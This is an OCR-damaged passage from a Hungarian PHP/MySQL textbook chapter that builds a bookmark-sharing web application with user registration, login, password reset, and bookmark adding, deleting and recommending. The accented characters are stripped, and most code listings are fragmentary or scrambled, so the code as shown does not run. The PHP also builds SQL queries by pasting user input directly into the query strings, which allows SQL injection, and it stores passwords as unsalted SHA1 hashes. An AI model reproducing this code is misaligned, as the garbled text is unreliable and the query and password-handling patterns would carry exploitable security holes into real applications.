jelszavt.Trolnunk kell tovbb a knyvjelzk URL-jt.Egy felhasznlnak tbb knyvjelzje is lehet,s tbb felhasznl is
elmentheti ugyanazt a knyvjelzt. Mindezek miatt kt tblra lesz szksgnk: fe lhasznalo s konyvjelzo ( 27 .2 bra).
user
username
passwd
laura
7cbf26201 e73c9b
laura@tangledweb.com.au
luke
1fef10690eeb2e59
luke@tangledweb.com.au
username
bm_URL
laura
http://slashdot.org
laura
http://php.net
A felhasznala tbla a felhasznlk felhasznli nevt (ez az elsdleges kulcs),jelszavt s e-mail cmt trolja.
A konyvjelz tblba felhasznli nv s knyvjelz (kj_URL) prok kerlnek. Az ebben a tblban lv felhasznli nv
a felhasznal o tbla felhasznli nevre hivatkozik.
Az adatbzist, illetve az adatbzishoz az internetrl csatlakoz felhasznlt ltrehoz SQL kdot a 27.1 pldakd tartal
mazza. Ha sajt rendszernkn kvnjuk hasznlni,mdostanunk kell ezt a fjlt. Ne felejtsk el a felhasznl jelszavt bizton
sgosabbra cserlni!
27.1 pldakd: konyjelzok. sql -A knyvjelzk adatbzist ltrehoz SQL fjl
CREATE DATABASE konyvjelzok;
USE konyvjelzok;
KEY,
KEY(felhasznaloi
nev,
kj_URL)
);
GRANT SELECT,
INSERT,
UPDATE,
DELETE
ON konyvjelzok.*
TO kj felhasznalo@localhost IDENTIFIED BY
'jelszo';
27
-u
root
-p
<
konyjelzok.sql
A nyitoldalltrehozsa
A:z. elskne elksztend oldal neve bejelentkezes.php, mert itt knljuk fel a felhasznlknak a rendszerbe bejelentkezs
html_lablec_letrehozas();
?>
Nagyon egyszer kddal llunk szemben, mert tbbnyire csak az alkalmazshoz ltrehozand fggvny API (alkalmazs
programozsi interfsz) fggvnyeit hvja meg. Rvidesen rszleeesen is megvizsgljuk ezeket a fggvnyeket. Erre a fjira
rnzve azt lthatjuk, hogy beszr egy (a fggvnyeket tartalmaz) fjlt, majd ms fggvnyeket meghvva ltrehozza a HTML
fejlcec, megjelenic valamilyen tartalmat, vgl pedig elkszti a HTML lblcet.
A kd ltal ellltott kimenetet a 27.3 brn ltjuk.
1tt-..I
Cf;i ::: -==,;l
- ,........ _..,...
...
PHPbookmark
T..... _.......,.. __
.,..... ....................... \OIIIIolll!
O.V ... -----...
,;;:
lli:.
l
Lthatjuk, hogy ez a fjl csupn troljul szolgl az alkalmazsban hasznland t msik beillesztett fjlnak. A:z.rt adtunk
ilyen struktrt a projektnek, mert a fggvnyek jl elklnthet logikai csoportokba sorolhatk. Ezek kzl egyes fggvny
csoportokat vlheten ms projektekben is kivlan felhasznlhatunk majd, ezrt kln llomnyokba pakoltuk, hogy ksbb
395
396
27. fejezet
knnyen megtallhassuk ket. Akonyvjelzo_fuggvenyek. php fjlt azrt hoztuk ltre, mert az t fggvnyfjl tbbs
gt szinte mindegyik kdban hasznlni fogjuk. Egyszerbb ezt az egy fjlt beilleszteni a kdba,rnint rninden alkalommal t
require utastst kiadni.
Ebben a konkrt esetben a kimeneti_fuggvenyek. php fjl fggvnyeit hasznljuk. Mindegyik magtl rtetd
fggvny, s viszonylag egyszer HMTL kimenetet eredmnyez. Ez a fjl tartalmazza azt a ngy fggvnyt ( html_fejlee_
letrehozasa(), oldal_info_megjelenitese(), bejelentkezesi_urlap_megjelenitese () s html_
lablec_letrehozasa ()),amit nhny tovbbival egyetemben a bejelentkezes. ph p fjlban fogunk hasznlni .
Nem fogunk mind a ngy fggvnyen egyenknt vgigmenni,pldaknt nzzk meg rszletesen az egyiket! Ahtml_
fejlee_letrehozasa () fggvny kdjt a 27.4 pldakdban lthatjuk.
27.4
pldakd: A
{ font-family: Arial,
body
li,
hr
td
font-family:
color:
Helvetica,
Arial,
Helvetica,
color: #000000 l
<lstyle>
<lhead>
<body>
<img src="konyvjelzo.gif" alt="PHPbookmark logo" border="O"
align="left" valign="bottom" height="55" width="57" l>
<hl>PHPbookmark<lhl>
<hr l>
<?php
if($oldalcim)
html focim($oldalcim);
Lthatjuk, hogy a html_fejlec_letrehozasa() fggvny egyetlen feladata, hogy megfelel cmer s lblcet
adjon az oldalnak. Abejelentkezes. php fjlban hasznlt tovbbi fggvnyek ugyangy mkdnek. Az oldal_
info_megjelenit ese() fggvny nmi ltalnos szveget jelent meg az oldalrl, a bej elentkezesi_urlap_
megjelenitese () fggvny a 27.3 brn lthat szrke bejelentkezsi felletet hozza ltre, a html_lablec _
letrehozasa() fggvny lland HTML lblcet ad az oldalnak.
A PHP s a MySQL hasznlata nagy projektekben cm 25. fejezetben mr sz esett arrl, milyen elnykkel jr az, ha
a HTML elllrst elklntjk alkalmazsunk f mkdsi elvtL Ebben a projektben az AP I-s megkzeltst kvetjk.
A 27.3 brra pillantva ltszik,hogy az oldalon hrom vlasztsi lehetsget knlunk fel: a felhasznl regisztrlhat,re
gisztrlt felhasznlknt bejelentkezhet,illetve tllthatja jelszavr,amennyiben elfelejtette. Hogy elksztsk ezeket a modu
lokat, a felhasznli hitelesrst megvalst rsszel kell folytatni munknkat.
27
Afelhasznli
hitelesrst megvalst modul ngy f elembl ll: felhasznlk regisztrlsa, be- s kijelentkezs, jelszvltoz
tats s j jelsz krse. A most kvetkez oldalakon egyenknt is megvizsgljuk ezeket az elemeket.
397
Felhasznlk regisztrlsa
Ahhoz, hogy regisztrlni tudjunk egy felhasznlt, egy rlap segtsgvel be kell krni az adatait, majd be kell vinni az adat
bzisba.
Amikor a felhasznl a bejelentkezes.php oldal Mg nem tag? hivatkozsra kattint, a 27.5 pldakdban lthat
regisztracios_ur lap. php ltal ltrehozott regisztrcis felletre jut.
Megint csak egy nagyon egyszer kdot lrunk, ami semmi mst nem tesz, mint fggvnyeket hv meg a kimeneti_
fuggvenyek. php fjlban lv fggvnyknyvtrbL A 27.4 brn a kd ltal ltrehozott kimenetet lthatjuk.
ll indtsuk el a munkamenetet,
ll azrt most indtsuk el,
session start();
try
27
398
27. fejezet
if (! kitoltott($
POST))
ll rvnytelen e-mail cm
if (1ervenyes_email($email))
throw new Exception('rvnytelen e-mail cm.
Krjk,
ha a felhasznli nv csonkul,
6)
ll
(strlen($jlsz) >
16))
ll regisztrci megprblsa
ll ez a fggvny is vlthat ki kivtelt
regisztral($felhasznaloi_nev,
$email,
$jlsz);
ll munkamenet-vltoz regisztrlsa
$_SESSION['ervenyes felhasznalo']
$felhasznaloi nev;
menjen
ll oldal befejezse
html lablec_letrehozasa();
?>
Ez ebben az alkalmazsban az els kd, ami valamennyire sszetermek nevezhet. Azzal indul, hogy beilleszti az alkalmazs
fiiggvnyfjljait, majd elindt egy munkamenetet (session). (Regisztrlt felhasznl esetn munkamenet-vltzknt hozzuk
27
399
Ezt a fggvnyt mi magunk rtuk, az; adat_ellenorzo_fuggvenyek. php fjl fggvnyknyvtrban helyezkedik el.
Rvidesen rszletesebben is ttekintjk ezt a fggvnyt.
A megadott e-mail cm rvnyes-e? Ezt a kvetkez utastssal ellenrizzk:
if (ervenyes_email($email))
az;
hat.
A felhasznl ltal megadort kt jelsz megegyezik-e egymssal? Ezt a kvetkez feltteles utastssal ellenrizhetjk:
if ($jlsz
$jlsz2)
<
az;
albbi urastsokkal:
6)
s
if ((strlen($jlsz) >
16)
A pldban a jelsznak legalbb 6 karakter hossznak kell lennie, hogy ne lehessen tl knnyen kitallni, a felhasznli
nvnek pedig 17 karakternl rvidebbnek kell lennie ahhoz, hogy befrjen
az;
maximlis mrett ily mdon nem korltozzuk! Nincs is rtelme, mert SHAl hashben troljuk, ami az; adott jelsz
hosszrl fggetlenl mindig 40 karakter hossz lesz.
Az irt hasznlt adatellenrz fggvny a kitoltott ( ) s az ervenyes_email (),ami a 27.7, illetve a 27.8 pldakd
ban lthat.
27.7 pldakd: Az adat_ellenorzo_fuggvenyek. php knyvtr kitoltott ()fggvnye- Ez afggvny ellenrzi, hogy
az rlap ki lett-e tltve
function kitoltott($urlap_valtozok)
ll ellenrizzk,
ll
($ertek
> $ertek)
==
' ' ))
return false;
return true;
$email eim))
return true;
else
return false;
A kitoltott ( ) fggvny vltozk tmbjt vrja paramterknt; ez ltalban a$_POST vagy a $_GET tmb lesz. Ellen
rzi,hogy minden rlapmez ki van-e tltve; ha igen, akkor true, ellenkez esetben false rtker ad vissza.
Az ervenyes_email() fggvny
az;
jezssel prbl meggyzdni az; e-mail cmek rvnyessgrL rvnyesnek tn cm esetn true, egybknt false rtkkel
tr vissza.
27
400
27. fejezet
A felhasznli adatok ellenrzse utn megprblkozhatunk a felhasznl regisztrlsvaL Ha visszalapozunk a 27.6 plda
kdra, lthatjuk, hogy a kvetkezkppen tettk ezt:
regisztral($felhasznaloi_nev,
$email,
$jlsz);
ll munkamenet-vltoz regisztrlsa
$_SESSION['ervenyes felhasznalo']
= $felhasznaloi_nev;
menjen
ll oldal befejezse
html_lablec_letrehozasa();
A fenti kdbl ltszik, hogy a regisztral () fggvnyt a bevitt felhasznli nvvel, e-mail cmmel s jelszval hvjuk
meg. Ha meghvsa sikeres, a felhasznli nevet munkamenet-vltozknt rgztjk, s megjelentjk a felhasznlnak a tagok
foldalra mutat hivatkozst. (Hiba esetn a fggvny kivtelt vlt ki, arnt a catch blokkban kezelnk.) A kd eredmnyt
a 27.5 brn ltjuk.
......-
!jbol
......
_...."....
toMi
--:'t-:?
..
....
....
...
....
_. ---
PHPbookmark
Siket"U regisztrci
$email,
$jelszo)
FROM felhasznala
WHERE felhasznaloi_nev='".$felhasznaloi_nev."'");
27
if
(! $eredmeny) {
throw new Exception('A lekrdezs nem hajthat vgre');
if ($eredmeny->num_rows>0)
throw new Exception('A
401
felhasznli nv mr foglalt -
ll ha OK,
tegye be az adatbzisba
$eredmeny
vlasszon msikat!');
if (! $eredmeny)
'".$email."')");
prblkezzon ksbb!');
return true;
Igazbl semmi jdonsg nincsen ebben a fggvnyben; egyszeren csatlakozik a korbban ltrehozott adatbzishoz. Ha
a kivlasztott felhasznli nv mr foglalt, vagy az adatbzis nem frissthet, a kd kivtelt vlt ki. Minden ms esetben frissti
az adatbzist, s true visszatrsi rtket ad.
Figyeljk meg. hogy az adatbzishoz val tnyleges csatlakozst az ltalunk rt, adatbazishoz kapcsolodas () nev
_
fggvnnyel htjuk vgre. A fggvny nagy elnye, hogy egyeden helyen tartalmazza az adatbzishoz csatlakozshoz szksges
felhasznli nevet s jelszt. Ez azt jelenti, hogy ha mdostjuk az adatbzis jelszavt, egyeden fjlt kell megvltoztaeni az alkal
mazsunkban. Az adatbazishoz kapcsolodas () fggvnyt a 27.10 pldakdban lthatjuk.
_
function adatbazishoz_kapcsolodas()
$eredmeny
if (! $eredmeny)
'kj_felhasznalo',
'jelszo',
'konyvjelzok');
return $eredmeny;
?>
A regisztrlt Felhasznlk a szoksos bejelentkezsi s Icijelentkezsi oldalon jelentkezhetnek be, illetve lphetnek ki. Ezeket
a felleteket hozzuk ltre most.
Bejelentkezs
Ha a Felhasznlk megadjk adataikat a bej elentkezes.php ltal megjelentett rlapon (27.3 bra), s elkldik ket,
a tag. php nev fjlba jutnak. A kd belpteti ket, s megjelenti a bejelentkezett Felhasznlk szmra relevns knyvjelz
ket. Ez a kd ll az alkalmazs tbbi rsznek a kzppontjban. A kdot a 27.11 pldakd tartalmazza.
l'
27
402
27. fejezet
<?php
$ POST['felhasznaloi nev'];
$ POST['jlsz'];
if ($felhasznaloi_nev
&&
$jlsz)
ll megprblnak bejelentkezni
try
bejelentkezes($felhasznaloi_nev,
$jlsz);
ll ha megtallhatk az adatbzisban,
$_SESSION['ervenyes_felhasznalo']
catch(Exception $e)
ll sikertelen bejelentkezs
html feJlee letrehozasa('Hba:');
echo 'Nem sikerlt bejelentkezni.
Az oldal megtekintshez be kell jelentkeznie.';
html_url_letrehozasa('bejelentkezes.php',
'Bejelentkezs');
html lablec_letrehozasa();
exit;
html_fejlec_letrehozasa('Kezdlap');
ervenyes_felhasznalo_ellenorzese();
felhasznaloi_url_megjelenitese($url tomb);
ll menlehetsgek megjelentse
felhasznaloi_menu_megjelenitese();
html lablec_letrehozasa();
?>
A tag . php kd mkdsi logikja ismers lehet szmunkra: rszben a 23. fejezetben megismert elemeket hasznlja fel
jra.
Elszr is ellenrizzk, hogy a felhasznl a nyitoldalrl jtt-e - vagyis
az
&&
$jlsz)
ll megprblnak bejelentkezni
try {
27
bejelentkezes($felhasznaloi nev,
$jlsz);
ll ha megtallhatk az adatbzisban,
$ SESSION['ervenyes felhasznalo']
403
Ha a felhasznl sikeresen bejelentkezett,a korbbiakhoz hasonlan most is feljegyezzk a munkamenetet. Ennek rdek
ben az ervenyes_felhasznalo munkamenet-vltozban eltroljuk a felhasznli nevt.
Ha minden jl megy,ezt kveten a tagoknak fenntartott oldalt jelentjk meg a felhasznlnak:
html_fejlec_letrehozasa('Kezdlap');
ervenyes_felhasznalo_ellenorzese();
felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo']))
felhasznaloi_url_megjelenitese($url_tomb);
ll menlehetsgek megjelenitse
felhasznaloi_menu_megjelenitese();
html_lablec_letrehozasa();
Ezt az oldalt is kimeneti fggvnyek segtsgvel hozzuk ltre. Figyeljk meg, hogy az oldal tovbbi fggvnyeket is hasznl:
a
azt
felhas znaloi_url_ megjeleni tese ( ) pedig egy tblzatban megjelenti azokat a bngszben. Rgtn rszletesen is
oldalt. A 27.6 brn egy, a tag. php fjl ltal ltrehozott mintaoldal lthat.
lt.ll ,..._
....
"*'"" ....
! :;
-.i.t-=.
PHPbookmark
Kezd61p
IIII.I.JIIMMI
---
27.6 bra: A tag. php kd meggyzdik rla, hogy a felhasznl bejelentkezett-e, visszakeresi s megjelenti knyvjelzit,
$jelszo)
27
404
27. fejezet
$kapcsolat->query("select
from felhasznala
shal('".$jelszo."')");
if (!$eredmeny) {
throw new Exception('Nem sikerlt belptetni.');
if ($eredmeny->num_rows>O)
return true;
else {
throw new Exception('Nem sikerlt belptetni.');
s rtestsk,
ha nem!
ll nincsenek bejelentkezve
html focim_letrehozasa('Hiba: ');
echo 'Nincs bejelentkezve.<br l>';
html_url_letrehozasa('bejelentkezes.php',
'Bejelentkezs');
html lablec_letrehozasa();
exit;
Ha a felhasznl nincs bejelentkezve, a fggvny kzli vele, hogy az oldal megtekintshez be kell jelentkeznie, s felkinlja
neki a belpsi oldalra mutat hivatkozst.
Kijelentkezs
27
A 27.6 brn lthat menben szrevehettk a Kijelentkezs felirat hivatkozst, amely a kijelentkezes.ph p kdra
mutat. Ennek a fjlnak a kdjt a 27.14 pldakd tartalmazza.
405
<?php
ll az alkalmazs fggvnyfjljainak beillesztse
require_once('konyvjelzo fuggvenyek.php');
session_start();
$korabbi felhasznala ; $ SESSION['ervenyes felhasznalo'];
ll eltroljuk,
hogy megllapthassuk,
be voltak-e jelentkezve
unset($_SESSION['ervenyes_felhasznalo']);
$eredmeny_megsemmisit
session_destroy();
ll ha be voltak jelentkezve,
de most mr kijelentkeztek
'Bejelentkezs');
html_url_letrehozasa('bejelentkezes.php',
'Bejelentkezs');
az az
Jelszvltoztats
Ha a felhasznl a men Jelszvltoztats hivatkozsra kattint, a 27.7 brn lthat rlap jelenik meg bngszjben.
EN ....-----
1{_
. o" ..
..:-;;.;.;.;..;...;:;.;:..;::-=
:._.: t::Jl
PHPbookmark
Jelsz megvaltozutoisa
..
- ....... _
.Ir.:..
....,
l!iaalllll
-----
27
27.7 bra: A jelsze_valtoztatas_urlap. php
406
27. fejezet
az
<?php
require once('konyvjelzo_fuggvenyek.php'};
session start(};
html feJlee letrehozasa('Jelszvltoztats'};
$_POST['elozo_jlsz');
$UJ_jlsz = $ POST['uj_jlsz');
$_POST['uj jlsz2');
$uj jlsz2
try
ervenyes felhasznalo_ellenorzese(};
if (1kitoltott($ POST}}
if
($uj jlsz
!= $uj_jlsz2}
l l
ll prblkozs a jelszvltoztatsra
jelszo_valtoztatas($ SESSION['ervenyes felhasznalo'),
$elozo jlsz,
$uj jlsz};
echo $e->getMessage(};
jelszo_urlap_megjelenitese(};
felhasznaloi_menu_megjelenitese(};
html lablec_letrehozasa(};
?>
A fenti kd
az
jelentkezve, a kitoltott (} fggvny hasznlatval meggyzdik arrl, hogy kitlttte-e a jelsz-vltoztarsi rlapot, illetve
ellenrzi, hogy a felhasznl mindktszer ugyanazt adta-e meg j jelszknt, s ez az j jelsz megfelel hosszsg-e. Ezek
27
egyike sem jdonsg szmunkra. Ha minden jl megy, a kd meghvja a jelszo_val toztatas (} fggvnyt az albbi for
mban:
Jelszo_valtoztatas($_SESSION['ervenyes felhasznalo'),
echo 'A jelszt megvltoztattuk.';
$elozo_jlsz,
$uj_jlsz};
407
$elozo jelszo,
$uj_jelszo)
$elozo_jelszo);
$kapcsolat = adatbazishoz_kapcsolodas();
$eredmeny = $kapcsolat->query("UPDATE felhasznala
SET jlsz=shal('".$UJ
jelszo."')
'".$felhasznaloi_nev."'");
return true;
ll sikeresen megvltoztatva
A fggvny a korbban mr megismert bejelentkezes( ) fggvny segtsgvel ellenrzi, hogy a felhasznl ltal meg
adott elz jelsz helyes volt-e. Amennyiben igen, a fggvny csatlakozik az adatbzishoz, s az j rtknek megfelelen m
dostja a jelszt.
amely pontosan az ilyen helyzetbe kerl felhasznJk miatt szerepel ott. A hivatkozs az elfelejtett_urlap. php nev
kdhoz viszi a felhasznlt, ami a kimeneti fggvnyek hasznlatval megjelenti a 27.8 brn lthat rlapot.
_!?=
",
PHPbookmark
--
. -v::J;-1!:
Jetsz viaazaiHtasa
=-i..
27.8 bra: Az elfelejtett_urlap.php kd ltal megjelentett rlapon a Jelhasznlk jjelszt krhetnek, amit elkldnk nekik.
Az elfelejtett_urlap. php kd rendkvl egyszer- pusztn csak a kimeneti fggvnyeket hasznlja-, ezrt rszle
resen nem is foglalkozunk vele. Az rlap elkldse az elfelejtett_jelszo.php kdot hvja meg, ami mr sokkal rdeke
sebb szmunkra. A kdot a 27.17 pldakd tartalmazza.
27
408
27.fezet
e-mailben
<?php
require_once("konyvjelzo fuggvenyek.php");
html fejlee letrehozasa("Jelsz tllitsa");
try
$ POST['felhasznaloi_nev'];
$jelszo
jelszo atallitasa($felhasznaloi_nev);
jelszo_ertesites($felhasznaloi_nev,
echo
$jelszo);
'Bejelentkezs');
html_lablec_letrehozasa();
?>
Lthatjuk, hogy a kd kt fontos fggvny segtsgvel ltja el feladatt. Ez a kt fggvny a jelsz o_a tallitasa () s
a jelszo_ertesites(). Vizsgljuk meg ezeket egyenknt!
A jelszo_atallitasa() fggvny vletlenszer jelszt llt el a felhasznl szmra, majd eltrolja az adatbzisban.
A fggvny kdjt a 27.18 pldakd tartalmazza.
13);
.=
999);
$veletlen szam;
$kapcsolat->query("UPDATE felhasznalo
SET
27
Jlsz=shal('".$uj
Jelszo."')
l else {
ll nincs megvltoztatva
return $uj_jelszo;
409
ll sikeresen megvltoztatva
fggvnye
function veletlen_szo_eloallitasa($min_hossz,
$max_hossz)
';
'
'hungarian.txt';
@fopen($szotar,
if(!$fp)
ll az ispell sztr
'r');
return false;
$meret
filesize($szotar);
rand(O,
$meret);
$veletlen_hely);
<
$min_hossz)
megfelel hosszsg,
l l
teljes szt!
(strlen($szo)>$max_hossz)
l l
"'")))
if (feof($fp))
fseek($fp,
0);
ll ha a vgn vagyunk,
ugorjunk az elejre!
$szo
fgets($fp,
80);
$szo
fgets($fp,
80);
ll a potencilis jelsz
$szo
trim($szo);
return $szo;
az
Akkor sincs ok az aggodalomra, ha msrnlyen rendszert hasznlunk, vagy nem szetetnnk telepteni az ispellt. Az ispel!
ltal hasznlt szlista letlthet a http://wordlist.sourceforge.net/ oldalrl.
Az oldalon ms nyelv sztrakat is tallunk, gy ha - mondjuk - norvg vagy eszperant nyelven van szksgnk
a vletlenszeren kivlasztott szavakra, akkor ezeket a sztrakat kell letltennk. Ezek a fjlok soronknt egy-egy szt
tartalmaznak, a sorok pedig jsor karakterekkel vannak elvlasztva egymstl. Ha vletlenszeren szetetnnk kivlasztani
27
410
27. fejezet
ebbl a fjlbl egy szt, hatrozzunk meg egy pontot a O s a fjlmret kzrr, s onnan olvassuk ki a fjl adatt! Ha ettl
a vletlenszeren meghatrozott ponttl a kvetkez j sorig olvasunk, akkor nagy valsznsggel tredkszt kapunk, ezrt
az fgets () fggvny ktszeri meghvsval hagyjuk ki azt a sort, amelynl megnyitottuk a fjlt, s az azt kvet sorban lv
szt vlasszuk ki!
A fggvny kt apr trkkt hasznl. Az els, hogy ha keress kzben elrjk a fjl vgt, visszaugrunk az elejre:
if (feof($fp))
fseek($fp,
0);
{
ll ha a vgn vagyunk,
ugorjunk az elejre!
A msodik, hogy lehetsget ad meghatrozott hosszsg sz keressre: a sztrbl kivlasztott minden szt ellenr
znk, s ha hossza nem a $min_hossz s $max_hossz rtk kz esik, akkor folytatjuk a keresst. Az aposztrfot tartalma
z szavakat is kihagyjuk. Ugyan a sz hasznlatakor vdkarakterrel lthatnnk el az aposztrfot, sokkal knnyebb egyszeren
a kvetkez szt vlasztani.
Visszatrve a jelszo_atallitasa() fggvnyre, az j jelsz ellltsa utn azt eltroland mdostjuk az adatbzist, s
az j jelszval trnk vissza f kdunkhoz. Majd ezt
az
ll rtesti a felhasznlt,
$jelszo)
(! $eredmeny) {
$sor = $eredmeny->fetch_object();
$email = $sor->email;
$felado
"Felado:
support@phpbookmark \r\n";
".$jelszo."\r\n"
$uzenet,
$felado))
return true;
else
27
A vletlenszer karakterlncokban sok esetben problms a felhasznlknak megllaptani, hogy O (nulla) vagy
O (nagy O), l
hogy eltallja
az
igazit. Egy ilyen jelleg alkalmazsnl megfelelnek tnik ez a szint biztonsg, s ez mg akkor is igaz, ha
a felhasznl figyelmen kvl hagyja az e-mailben szerepl tancsunkat, amiben az ltalunk elkldtt jelsz megvltoztatsra
krjk.
Knyvjelzk hozzadsa
A felhasznJk az oldal aljn lthat men KJ hozzadsa hivatkozsra kattintva vehemek fel j knyvjelzket. A linkre
kattintva a 27.9 brn lthat rlaphoz jutnak.
- - -- - s::r
7;
;!
PHPbookmark
KOnyvjelz6tl: hou.iadasa
..---
__,..,.,_
ervenyes_felhasznalo_ellenorzese();
if (!kitoltott($ POST))
'http:ll'.$uj_url;
411
412
27.fgezet
'r')))
echo $e->getMessage();
felhasznaloi_menu_megjelenitese();
html lablec letrehozasa();
?>
valban ltezik-e. A Hlzati s protokollfggvnyek hasznlata cm 20. fejezetbl emlkezhetnk, hogy az fopen () fggvny
nyel nyithatunk meg http: ll-vel kezdd URL-eket. Ha meg tudjuk nyitni
az
az
az
27.22 pldakd: Az url_ fuggvenyek. php knyvtr kj_hozzaadasa() fggvnye- A fggvny j knyvjelzket ad az
adatbzishoz
function kj_hozzaadasa ($uj_url)
$ SESSION['ervenyes felhasznalo'];
ll ellenrizzk,
$eredmeny = $kapcsolat->query("SELECT
FROM konyvjelzo
27
'kj URL' )
'".$uj url."');"))
413
return true;
A kj_hozzaadasa() fggvny viszonylag egyszer. Ellenrzi, hogy az adatbzisban a felhasznlnl nem szerepel-e mr
ugyanez a knyvjelz. (Br nem valszn, hogy a felhasznJk ktszer felvinnnek egy knyvjelzt, az lehetsges, st valsz
n, hogy frissthetik
az
az
adatbzisba.
Visszatrve a kj_hozzaad.php kdhoz, lthatjuk, hogy utols lpse ugyanaz, mint a tag.ph p fjlnak:
a felhasznaloi _url_lekerdezese () s a felhasznaloi _url_megjeleni tese () fggvny meghvsa. A kvetke
zkben ezt a kt fggvnyt vizsgljuk meg.
Knyvjelzk megjelentse
A tag. php kd s a kj_hozzaadasa() fggvny is hasznlja a felhasznaloi_url_lekerdezese () s
a felhasznaloi_url_megjeleni t ese () fggvnyt. Ezek kikeresik az adatbzisbl, illetve megjelentik a felhasznl
knyvjelzit. A felhasznaloi _url_lekerdezese () fggvny az url_fuggvenyek. php, a felhasznaloi_url_
megjelenitese ( ) fggvny pedig a kimeneti_ fuggvenyek.php knyvtrban tallhat.
'".$felhasznaloi_nev."'");
(! $eredmeny)
return false;
l;
$sor = $eredmeny->fetch_row();
$url_tomb[$szamlalo]
++$szamlalo)
$sor[0];
return $url_tomb;
Haladjunk vgig rviden a felhasznaloi_ url_lekerdezese () fggvny lpsein l Paramterknt a felhasznli nevet
vrja, majd visszakeresi az adatbzisbl az adott felhasznlhoz tartoz knyvjelzket. Az ezeket az URL-eket tartalmaz
tmbbel vagy- amennyiben a knyvjelzk nem visszakereshetk-false rtkkel tr vissza.
A felhasznaloi_url_lekerdezese() fggvnybl szrmaz tmbt a felhasznaloi_url_megjelenitese ()
fggvnynek adjuk t. Ez megint csak egy egyszer, HTML kimenetet elllt fggvny, amely szp tblzacos formban
jelenti meg a felhasznl knyvjelzit, gy ezzel sem foglalkozunk most rszletesebben. A 27.6 brn lthatjuk, hogy milyen
kimenetet llt el. A fggvny igazbl rlapba teszi az URL-eket. Minden URL mellett egy jellngyzetet tallunk, ami
lehetv teszi a felhasznlnak, hogy trlendknt ki jellje adott knyvjelzjt. A most kvetkez rszben pontosan a trls
funkcit tekintjk t.
27
414
27. fejezet
Knyvjelzk trlse
Amikor a felhasznl trlsre kijelli egy vagy tbb knyvjelzjt, majd a men KJ tr lse hivatkozsra kattint, elkldi az
URL-eket tartalmaz rlapot. A jellngyzeteket a felhasznaloi_url_megjeleni tese ( ) fggvny albbi kdja llrja
el:
echo "<tr bgcolor=\"".$szin."\"><td><a href=\"".$url."\">".htmlspecialchars($url)."</a></
td>
<td><input type=\"checkbox\" name=\"torolJ
engem[]\"
value=\"".$url."\"/></td>
</tr>";
Minden inputnak torolj_engem[l a neve. Ez azt jelenti, hogy az rlap ltal meghvotr PHP kdban egy $torol j_
engem nev tmbt rhetnk el, amely az sszes trlend knyvjelzt tartalmazza.
A KJ trlse hivatkozsta kattintva meghvdik a kj_torlese. php kd, amit a 27.24 pldakdban lthatunk.
27.24 pldakd: kj_torlese.php-A kd knyvjelzket trl az adatbzisbl
<?php
require once('konyvjelzo_fuggvenyek.php');
session start();
felhasznaloi_menu_megjelenitese();
html lablec letrehozasa();
exit;
else {
if (count($torolJ
engem) > 0)
foreach($torolj_engem as $url)
{
{
if (kj_torlese($ervenyes felhasznalo,
echo
'A
$url))
else
echo 'Nem sikerlt trlni a '.htmlspecialchars($url).' knyvjelzt.<br />';
else
echo 'Nincs trlsre kijellt knyvjelz';
felhasznaloi_url_lekerdezese($ervenyes_felhasznalo))
felhasznaloi_url_megjelenitese($url tomb);
27
felhasznaloi_menu_megjelenitese();
html_lablec letrehozasa();
?>
415
A kd elejn elvgezzk a szoksos ellenrzsekec. Ha kiderl, hogy a felhasznl egyes knyvjelzit kijellte crlsre, a k
vetkez ciklussal trljk ki azokat:
foreach($torolj_engem as $url)
$url))
l>';
else
echo 'Nem sikerlt trlni a
Lthat, hogy a kj_torlese () fggvny vgzi el a knyvjelz adatbzisbl kitrlsnek tnyleges munkjt. A fggvnye
a
27.25 pldakd: Az url_ fuggvenyek. php knyvtr kj_torlese() fggvnye- A fggvny egyetlen knyvjelzi trl afel
hasznl listjrl
function kj torlese($felhasznalo,
$url)
kapcsolodas();
ll a knyvjelz trlse
if (!$kapcsolat->query("DELETE FROM konyvjelzo WHERE
felhasznaloi_nev='".$felhasznalo."' AND
throw new
Exception('A
kj_URL='".$url."'"))
return true;
Lthatjuk, hogy a kj_torlese() is egy viszonylag egyszer fggvny. Megksrli kitrlni az adatbzisbl
az
adott fel
hasznl ltal kijcllc knyvjelzt. Jegyezzk meg, hogy ebben az esetben adott felhasznli nv - knyvjelz prt kivnunk
trlni, hiszen a tbbi felhasznl ettl fggetlenl megrizheti az erre
az
A 27.10 brn egy, a crlst vgz kd futtatsa ltal eredmnyezett, lehetsges kimenetet lthatunk .
IK.I.J-.1
-
27.10 bra: A trlst vgrehajt kd tjkoztatja a trlt knyvjelzk fe/hasznljt, majd megjelenti megmaradt knyvjelzit.
27
416
27.fezet
Knyvjelzk ajnlsa
Immr kszen llunk a knyvjelzk ajnlsr megvalst ajanlas.php kd megrsra.Tbbfle megkzeltst alkalmaz
hatnnk az ajnlsokhoz.A pldban tnylegesen megvalstort mdszer a kzs rdekldsen alapul. Ennek megllaptshoz
olyan felhasznlkat keresnk, akiknek az adott felhasznlval legalbb egy kzs knyvjelzjk van. Azt felttelezzk, hogy
ezeknek a felhasznlknak a tbbi knyvjelzi is szmot tarthatnak az adott felhasznl rdekldsre.
SQL lekrdezsknt ezt legegyszerbben egymsba gyazort lekrdezsek hasznlatval valsthatjuk meg.Az els egyms
ba gyazott lekrdezs a kvetkezkppen nz ki:
SELECT DISTINCT(b2.felhasznaloi_nev)
FROM konyvjelzo bl,
konyvjelzo b2
!= b2.felhasznaloi nev
Ez a lekrdezs aliasok segtsgvel kapcsolja ssze az adatbzis konyvjelzo tbljt nmagval- ami kicsit furcsn
hangzik, de esetenknt kivl szolglatot tehet szmunkra. Kpzeljk el, hogy lnyegben kt konyvjelzo tblnk van, az
egyiknek bl, a msiknak b2 a neve! A bl tblban megkeressk az akrulis felhasznlt s a knyvjelzit. A msik tblban az
sszes tbbi felhasznl knyvjelzit nzzk. Olyan felhasznlkat ( b2.felhasznaloi _nev) keresnk, akiknek az aktu
lis felhasznlval kzs URL-jk van ( b l. kj_URL = b2.kj_URL), s akik nem azonosak az akrulis felhasznlval ( b l.
felhasznaloi_nev
! = b2.felhasznaloi_nev).
Ez a lekrdezs az akrulis felhasznlhoz hasonl rdeklds emberek listjt eredmnyezi. A lista birtokban kls le
krdezssel kereshetnk ezen felhasznlk tbbi knyvjelzje kztt:
SELECT kj_URL
FROM konyvjelzo
WHERE felhasznaloi nev IN
(SELECT DISTINCT(b2.felhasznaloi_nev)
FROM konyvjelzo bl,
konyvjelzo b2
!= b2.felhasznaloi nev
